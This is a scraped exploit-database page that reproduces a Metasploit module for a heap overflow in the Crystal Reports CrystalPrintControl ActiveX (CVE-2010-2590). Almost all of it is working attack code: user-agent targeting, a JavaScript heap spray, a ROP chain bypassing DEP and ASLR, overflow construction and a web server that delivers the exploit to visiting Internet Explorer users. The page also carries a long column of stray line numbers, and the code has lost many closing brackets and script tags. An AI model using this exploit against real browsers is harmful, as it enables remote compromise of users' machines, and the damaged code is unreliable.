Crystal Reports CrystalPrintControl – ActiveX ServerResourceVersion Property Overflow (Metasploit)

Exploit Database
92 阅读

作者： Metasploit

日期： 2012-12-18
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/23472/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name=> HttpClients::IE,

:ua_minver=> "6.0",

:ua_maxver=> "8.0",

:javascript => true,

:os_name=> OperatingSystems::WINDOWS,

:rank => NormalRanking,

:classid=> "{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}",

:method => "ServerResourceVersion"

})

def initialize(info={})

super(update_info(info,

'Name' => "Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow",

'Description'=> %q{

This module exploits a heap based buffer overflow in the CrystalPrintControl

ActiveX, while handling the ServerResourceVersion property. The affected control

can be found in the PrintControl.dll component as included with Crystal Reports

2008. This module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3

and IE 8 on Windows 7 SP1. The module uses the msvcr71.dll library, loaded by the

affected ActiveX control, to bypass DEP and ASLR.

'License'=> MSF_LICENSE,

'Author' =>

[

'Dmitriy Pletnev', # Vulnerability discovery

'Dr_IDE', # PoC

'juan vazquez' # Metasploit

'References' =>

[

[ 'CVE', '2010-2590' ],

[ 'OSVDB', '69917' ],

[ 'BID', '45387' ],

[ 'EDB', '15733' ]

'Payload'=>

{

'Space' => 890,

'BadChars' => "\x00",

'DisableNops' => true,

'PrependEncoder' => "\x81\xc4\xa4\xf3\xfe\xff" # Stack adjustment # add esp, -500

'DefaultOptions'=>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets'=>

[

# Using jre rop because msvcr71.dll is installed with the ActiveX control

# Crystal Reports 2008 / PrintControl.dll 12.0.0.683

[ 'Automatic', {} ],

[ 'IE 6 on Windows XP SP3',

{

'Rop' => nil,

'Offset' => '0x5F4',

'Ret' => 0x0c0c0c08

}

[ 'IE 7 on Windows XP SP3',

{

'Rop' => nil,

'Offset' => '0x5F4',

'Ret' => 0x0c0c0c08

}

[ 'IE 8 on Windows XP SP3',

{

'Rop' => :jre,

'Offset' => '0x5f4',

'Ret' => 0x0c0c0c0c,

'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret

}

[ 'IE 8 on Windows 7',

{

'Rop' => :jre,

'Offset' => '0x5f4',

'Ret' => 0x0c0c0c0c,

'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret

}

]

'Privileged' => false,

'DisclosureDate' => "Dec 14 2010",

'DefaultTarget'=> 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt

when '5.1'

os_name = 'Windows XP SP3'

when '6.0'

os_name = 'Windows Vista'

when '6.1'

os_name = 'Windows 7'

end

targets.each do |t|

if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))

print_status("Target selected as: #{t.name}")

return t

end

return nil

end

def ie_heap_spray(my_target, p)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

# Land the payload at 0x0c0c0c0c

# For IE 6, 7, 8

js = %Q|

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{my_target['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

var overflow = nops.substring(0, 10);

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

return js

end

def get_payload(t, cli)

code = payload.encoded

# No rop. Just return the payload.

return code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be

print_status("Using JRE ROP")

rop_payload = generate_rop_payload('java', code, {'pivot' => [t['Pivot']].pack("V")})

return rop_payload

end

def load_exploit_html(my_target, cli)

p= get_payload(my_target, cli)

js = ie_heap_spray(my_target, p)

# This rop chain can't contain NULL bytes, because of this RopDB isn't used

# rop chain generated with mona.py

rop_gadgets =

[

0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN

0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)

0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]

0x7c3415a2, # JMP [EAX] [msvcr71.dll]

0xffffffff, #

0x7c376402, # skip 4 bytes [msvcr71.dll]

0x7c351e05, # NEG EAX # RETN [msvcr71.dll]

0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]

0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]

0x7c344f87, # POP EDX # RETN [msvcr71.dll]

0xffffffc0, # Value to negate, will become 0x00000040

0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]

0x7c34d201, # POP ECX # RETN [msvcr71.dll]

0x7c38b001, # &Writable location [msvcr71.dll]

0x7c347f97, # POP EAX # RETN [msvcr71.dll]

0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]

0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]

0x7c345c30, # ptr to 'push esp #ret ' [msvcr71.dll]

].pack("V*")

# Allow to easily stackpivot to the payload

# stored on the sprayed heap

stackpivot_to_spray = %Q|

mov esp, 0x0c0c0c10

ret

# Space => 0x940 bytes

# 0x40c: Fill the current CrystalPrintControl object

# 0x8: Overflow next heap chunk header

# 0x52c: Overflow next CrystalPrintControl object until the ServerResourceVersion offset

bof = rand_text_alpha(1036)

bof << [0x01010101].pack("V") # next heap chunk header

bof << [my_target.ret].pack("V")

bof << [0x7c3410c4].pack("V") # ret # msvcr71

bof << [0x7c3410c4].pack("V") # ret # msvcr71 # eip for w7 sp0 / ie8

bof << rop_gadgets

bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, stackpivot_to_spray).encode_string

bof << rand_text_alpha(0x940 - bof.length)

js_bof = Rex::Text.to_unescape(bof, Rex::Arch.endian(my_target.arch))

target = rand_text_alpha(5 + rand(3))

target2 = rand_text_alpha(5 + rand(3))

target3 = rand_text_alpha(5 + rand(3))

target4 = rand_text_alpha(5 + rand(3))

target5 = rand_text_alpha(5 + rand(3))

target6 = rand_text_alpha(5 + rand(3))

target7 = rand_text_alpha(5 + rand(3))

target8 = rand_text_alpha(5 + rand(3))

target9 = rand_text_alpha(5 + rand(3))

target10 = rand_text_alpha(5 + rand(3))

target11 = rand_text_alpha(5 + rand(3))

target12 = rand_text_alpha(5 + rand(3))

target13 = rand_text_alpha(5 + rand(3))

target14 = rand_text_alpha(5 + rand(3))

target15 = rand_text_alpha(5 + rand(3))

# - 15 CrystalPrintControl objects are used to defragement the heap.

# - The 10th CrystalPrintControl is overflowed.

# - After the overflow, trying to access the overflowed object, control

# can be obtained.

html = %Q|

<html>

<head>

#{js}

</script>

</head>

<body>

var ret = unescape('#{js_bof}');

#{target9}.ServerResourceVersion = ret;

var c = #{target10}.BinName.length;

</script>

</body>

</html>

return html

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

uri = request.uri

print_status("Requesting: #{uri}")

my_target = get_target(agent)

# Avoid the attack if no suitable target found

if my_target.nil?

print_error("Browser not supported, sending 404: #{agent}")

send_not_found(cli)

return

end

html = load_exploit_html(my_target, cli)

html = html.gsub(/^\t\t/, '')

print_status("Sending HTML...")

send_response(cli, html, {'Content-Type'=>'text/html'})

end